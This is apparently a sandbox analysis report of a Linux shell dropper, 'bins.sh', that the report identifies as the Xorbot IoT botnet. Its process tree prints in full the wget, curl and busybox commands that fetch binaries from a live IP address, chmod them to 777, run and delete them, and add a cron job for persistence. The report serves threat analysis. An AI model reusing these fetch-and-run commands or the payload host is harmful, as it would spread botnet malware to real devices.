Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04-12-2024 02:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    437a00555767f8c3201fad3f0c8593c4

  • SHA1

    4e504c7b16ed9c01b17acd57643c6aa2e1dc8996

  • SHA256

    12201bdbf03e90f7421b3d4c4b612c6e541b1e24313cd2e090787567d3722f44

  • SHA512

    3caf18ed0ab4540decbb2469237a14ee4874c23e0ad7b93531a1dd4c31e48375ae9793fef3bd53e8dd49a129b37f69476c46cc988a61a8d2ef21bfc7d4e4c1de

  • SSDEEP

    192:cv4UQmpRVu66kkmhNiumVxXI4xkkmhNd8VxXI4DUQmpRFW:cv4UQmpRc6TmVxXI4ZVxXI4DUQmpRY

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1228) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:708
        • /usr/bin/wget
          wget http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
          ./FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
            ./bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
            2⤵
            • Executes dropped EXE
            PID:746
          • /bin/rm
            rm bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
              2⤵
              • Writes file to tmp directory
              PID:749
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
              2⤵
              • Writes file to tmp directory
              PID:750
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
              2⤵
              • Writes file to tmp directory
              PID:751
            • /bin/chmod
              chmod 777 8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
              2⤵
              • File and Directory Permissions Modification
              PID:757
            • /tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
              ./8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
              2⤵
              • Executes dropped EXE
              PID:758
            • /bin/rm
              rm 8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
              2⤵
                PID:761
              • /usr/bin/wget
                wget http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
                2⤵
                • Writes file to tmp directory
                PID:763
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
                2⤵
                • Writes file to tmp directory
                PID:772
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
                2⤵
                • Writes file to tmp directory
                PID:785
              • /bin/chmod
                chmod 777 dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
                2⤵
                • File and Directory Permissions Modification
                PID:789
              • /tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
                ./dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
                2⤵
                • Executes dropped EXE
                PID:790
              • /bin/rm
                rm dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
                2⤵
                  PID:793
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
                  2⤵
                  • Writes file to tmp directory
                  PID:795
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:807
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
                  2⤵
                  • Writes file to tmp directory
                  PID:813
                • /bin/chmod
                  chmod 777 i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
                  2⤵
                  • File and Directory Permissions Modification
                  PID:814
                • /tmp/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
                  ./i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
                  2⤵
                  • Executes dropped EXE
                  PID:815
                • /bin/rm
                  rm i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
                  2⤵
                    PID:817
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/iKVeVXwfEt7QpA6FxSnEmm0ggXl3wnffbr
                    2⤵
                    • Writes file to tmp directory
                    PID:818
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/iKVeVXwfEt7QpA6FxSnEmm0ggXl3wnffbr
                    2⤵
                    • Writes file to tmp directory
                    PID:819
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/iKVeVXwfEt7QpA6FxSnEmm0ggXl3wnffbr
                    2⤵
                    • Writes file to tmp directory
                    PID:820
                  • /bin/chmod
                    chmod 777 iKVeVXwfEt7QpA6FxSnEmm0ggXl3wnffbr
                    2⤵
                    • File and Directory Permissions Modification
                    PID:821
                  • /tmp/iKVeVXwfEt7QpA6FxSnEmm0ggXl3wnffbr
                    ./iKVeVXwfEt7QpA6FxSnEmm0ggXl3wnffbr
                    2⤵
                    • Executes dropped EXE
                    PID:822
                  • /bin/rm
                    rm iKVeVXwfEt7QpA6FxSnEmm0ggXl3wnffbr
                    2⤵
                      PID:824
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/pRDb6KYAGhDSRjBDwQQm2S1wyGrngB86ZU
                      2⤵
                      • Writes file to tmp directory
                      PID:825
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/pRDb6KYAGhDSRjBDwQQm2S1wyGrngB86ZU
                      2⤵
                      • Writes file to tmp directory
                      PID:826
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/pRDb6KYAGhDSRjBDwQQm2S1wyGrngB86ZU
                      2⤵
                      • Writes file to tmp directory
                      PID:827
                    • /bin/chmod
                      chmod 777 pRDb6KYAGhDSRjBDwQQm2S1wyGrngB86ZU
                      2⤵
                      • File and Directory Permissions Modification
                      PID:828
                    • /tmp/pRDb6KYAGhDSRjBDwQQm2S1wyGrngB86ZU
                      ./pRDb6KYAGhDSRjBDwQQm2S1wyGrngB86ZU
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:829
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:831
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:832
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:833
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:834
                          • /bin/rm
                            rm pRDb6KYAGhDSRjBDwQQm2S1wyGrngB86ZU
                            2⤵
                              PID:836
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/Gwkiw76yiqo0ULIun9bcvQKR7flR2NBcdo
                              2⤵
                                PID:841
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/Gwkiw76yiqo0ULIun9bcvQKR7flR2NBcdo
                                2⤵
                                  PID:923

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z

                                Filesize

                                98KB

                                MD5

                                5141342d0df8699fa32a6b066a0c592e

                                SHA1

                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                SHA256

                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                SHA512

                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                              • /tmp/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/iKVeVXwfEt7QpA6FxSnEmm0ggXl3wnffbr

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /tmp/pRDb6KYAGhDSRjBDwQQm2S1wyGrngB86ZU

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /var/spool/cron/crontabs/tmp.TwDYLx

                                Filesize

                                210B

                                MD5

                                a688c7d1ff310cf2d020e7ac70f64481

                                SHA1

                                279de537ee6eabb24b57d6bdb810582d991a6336

                                SHA256

                                b5d42d0ef8113d7a0134f7deccbb1afa4a77cdf01b88e683ad6f65c15b1d6dfa

                                SHA512

                                587f2b6a2e494c372193eb1e42609fa840ed8546837ed2ac183e78524d989b8e0c0f47e79003508c380efd9e9398223cb297af4fdd65f326fe7b793cd0beee81